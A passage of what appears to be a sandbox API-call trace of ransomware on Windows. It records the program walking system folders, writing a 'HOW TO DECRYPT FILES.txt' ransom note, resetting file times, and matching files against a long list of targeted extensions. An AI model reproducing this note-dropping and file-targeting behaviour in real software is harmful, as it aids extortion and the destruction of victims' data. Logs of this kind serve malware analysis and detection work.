(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.flac") returned 0 [0104.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.m4a") returned 0 [0104.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.csv") returned 0 [0104.243] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71594b9c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71594b9c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x715e0e5d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x162600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationBuildTasks.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0104.243] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.243] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7165327d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7165327d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7165327d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c0a8f3f379d7a62a032783cc4e04a4dd", cAlternateFileName="C0A8F3~1")) returned 0 [0104.243] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.243] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f8dcc9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1f8dcc9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1f8dcc9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationCFFRast#", cAlternateFileName="PRESEN~2")) returned 1 [0104.243] lstrcmpA (lpString1=".", lpString2="PresentationCFFRast#") returned -1 [0104.243] lstrcmpA (lpString1="..", lpString2="PresentationCFFRast#") returned -1 [0104.243] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.243] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="PresentationCFFRast#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#" [0104.244] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f8dcc9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1f8dcc9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1f8dcc9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.246] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.246] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f8dcc9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1f8dcc9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1f8dcc9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.246] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.246] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.246] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f8dcc9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1f8dcc9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1f8dcc9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3e357e76593a8cc5346dc0431f4cdaa9", cAlternateFileName="3E357E~1")) returned 1 [0104.246] lstrcmpA (lpString1=".", lpString2="3e357e76593a8cc5346dc0431f4cdaa9") returned -1 [0104.246] lstrcmpA (lpString1="..", lpString2="3e357e76593a8cc5346dc0431f4cdaa9") returned -1 [0104.246] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\*.*") returned="*.*" [0104.246] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\", lpString2="3e357e76593a8cc5346dc0431f4cdaa9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9" [0104.246] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f8dcc9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1f8dcc9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1f8dcc9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.247] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.247] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f8dcc9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1f8dcc9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1f8dcc9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.247] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.247] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.247] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f41a08, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1f41a08, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1f41a08, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationCFFRasterizer.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0104.247] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.247] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationCFFRasterizer.ni.dll") returned -1 [0104.247] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationCFFRasterizer.ni.dll") returned -1 [0104.247] lstrcmpiA (lpString1="", lpString2="PresentationCFFRasterizer.ni.dll") returned -1 [0104.247] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\*.*") returned="*.*" [0104.247] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\" [0104.247] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\") returned="" [0104.247] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\HOW TO DECRYPT FILES.txt" [0104.247] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationcffrast#\\3e357e76593a8cc5346dc0431f4cdaa9\\how to decrypt files.txt")) returned 0xffffffff [0104.248] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationcffrast#\\3e357e76593a8cc5346dc0431f4cdaa9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.249] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.250] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.251] CloseHandle (hObject=0x90) returned 1 [0104.251] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\", lpString2="PresentationCFFRasterizer.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll" [0104.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.ems") returned 0 [0104.251] lstrlenA (lpString="*.ems") returned 5 [0104.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.db") returned 0 [0104.251] lstrlenA (lpString="*.db") returned 4 [0104.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.dbf") returned 0 [0104.251] lstrlenA (lpString="*.dbf") returned 5 [0104.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.myox") returned 0 [0104.251] lstrlenA (lpString="*.myox") returned 6 [0104.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.myo") returned 0 [0104.251] lstrlenA (lpString="*.myo") returned 5 [0104.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbw") returned 0 [0104.251] lstrlenA (lpString="*.qbw") returned 5 [0104.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbb") returned 0 [0104.251] lstrlenA (lpString="*.qbb") returned 5 [0104.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbm") returned 0 [0104.251] lstrlenA (lpString="*.qbm") returned 5 [0104.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbo") returned 0 [0104.251] lstrlenA (lpString="*.qbo") returned 5 [0104.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbx") returned 0 [0104.252] lstrlenA (lpString="*.qbx") returned 5 [0104.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qba") returned 0 [0104.252] lstrlenA (lpString="*.qba") returned 5 [0104.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qby") returned 0 [0104.252] lstrlenA (lpString="*.qby") returned 5 [0104.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbj") returned 0 [0104.252] lstrlenA (lpString="*.qbj") returned 5 [0104.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.ofx") returned 0 [0104.252] lstrlenA (lpString="*.ofx") returned 5 [0104.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qif") returned 0 [0104.252] lstrlenA (lpString="*.qif") returned 5 [0104.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mye") returned 0 [0104.252] lstrlenA (lpString="*.mye") returned 5 [0104.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mbox") returned 0 [0104.252] lstrlenA (lpString="*.mbox") returned 6 [0104.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.eml") returned 0 [0104.253] lstrlenA (lpString="*.eml") returned 5 [0104.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.pst") returned 0 [0104.253] lstrlenA (lpString="*.pst") returned 5 [0104.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.ost") returned 0 [0104.253] lstrlenA (lpString="*.ost") returned 5 [0104.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.idx") returned 0 [0104.253] lstrlenA (lpString="*.idx") returned 5 [0104.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.dbx") returned 0 [0104.253] lstrlenA (lpString="*.dbx") returned 5 [0104.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.sql") returned 0 [0104.253] lstrlenA (lpString="*.sql") returned 5 [0104.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mdb") returned 0 [0104.253] lstrlenA (lpString="*.mdb") returned 5 [0104.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.fdb") returned 0 [0104.253] lstrlenA (lpString="*.fdb") returned 5 [0104.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.wab") returned 0 [0104.253] lstrlenA (lpString="*.wab") returned 5 [0104.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.dat") returned 0 [0104.253] lstrlenA (lpString="*.dat") returned 5 [0104.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.txt") returned 0 [0104.254] lstrlenA (lpString="*.txt") returned 5 [0104.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.jpeg") returned 0 [0104.254] lstrlenA (lpString="*.jpeg") returned 6 [0104.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.jpg") returned 0 [0104.254] lstrlenA (lpString="*.jpg") returned 5 [0104.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.png") returned 0 [0104.254] lstrlenA (lpString="*.png") returned 5 [0104.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.php") returned 0 [0104.254] lstrlenA (lpString="*.php") returned 5 [0104.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.cs") returned 0 [0104.254] lstrlenA (lpString="*.cs") returned 4 [0104.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.cpp") returned 0 [0104.254] lstrlenA (lpString="*.cpp") returned 5 [0104.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.rar") returned 0 [0104.254] lstrlenA (lpString="*.rar") returned 5 [0104.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.zip") returned 0 [0104.254] lstrlenA (lpString="*.zip") returned 5 [0104.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.html") returned 0 [0104.254] lstrlenA (lpString="*.html") returned 6 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.htm") returned 0 [0104.255] lstrlenA (lpString="*.htm") returned 5 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.xlsx") returned 0 [0104.255] lstrlenA (lpString="*.xlsx") returned 6 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.xls") returned 0 [0104.255] lstrlenA (lpString="*.xls") returned 5 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mp4") returned 0 [0104.255] lstrlenA (lpString="*.mp4") returned 5 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.ppt") returned 0 [0104.255] lstrlenA (lpString="*.ppt") returned 5 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.pptx") returned 0 [0104.255] lstrlenA (lpString="*.pptx") returned 6 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.doc") returned 0 [0104.255] lstrlenA (lpString="*.doc") returned 5 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.dot") returned 0 [0104.255] lstrlenA (lpString="*.dot") returned 5 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.docx") returned 0 [0104.255] lstrlenA (lpString="*.docx") returned 6 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.7z") returned 0 [0104.255] lstrlenA (lpString="*.7z") returned 4 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.tar") returned 0 [0104.255] lstrlenA (lpString="*.tar") returned 5 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.bz2") returned 0 [0104.255] lstrlenA (lpString="*.bz2") returned 5 [0104.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.gz") returned 0 [0104.255] lstrlenA (lpString="*.gz") returned 4 [0104.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mkv") returned 0 [0104.256] lstrlenA (lpString="*.mkv") returned 5 [0104.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.eml") returned 0 [0104.256] lstrlenA (lpString="*.eml") returned 5 [0104.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.msg") returned 0 [0104.256] lstrlenA (lpString="*.msg") returned 5 [0104.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.edb") returned 0 [0104.256] lstrlenA (lpString="*.edb") returned 5 [0104.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.accdb") returned 0 [0104.256] lstrlenA (lpString="*.accdb") returned 7 [0104.256] PathMatchSpecA 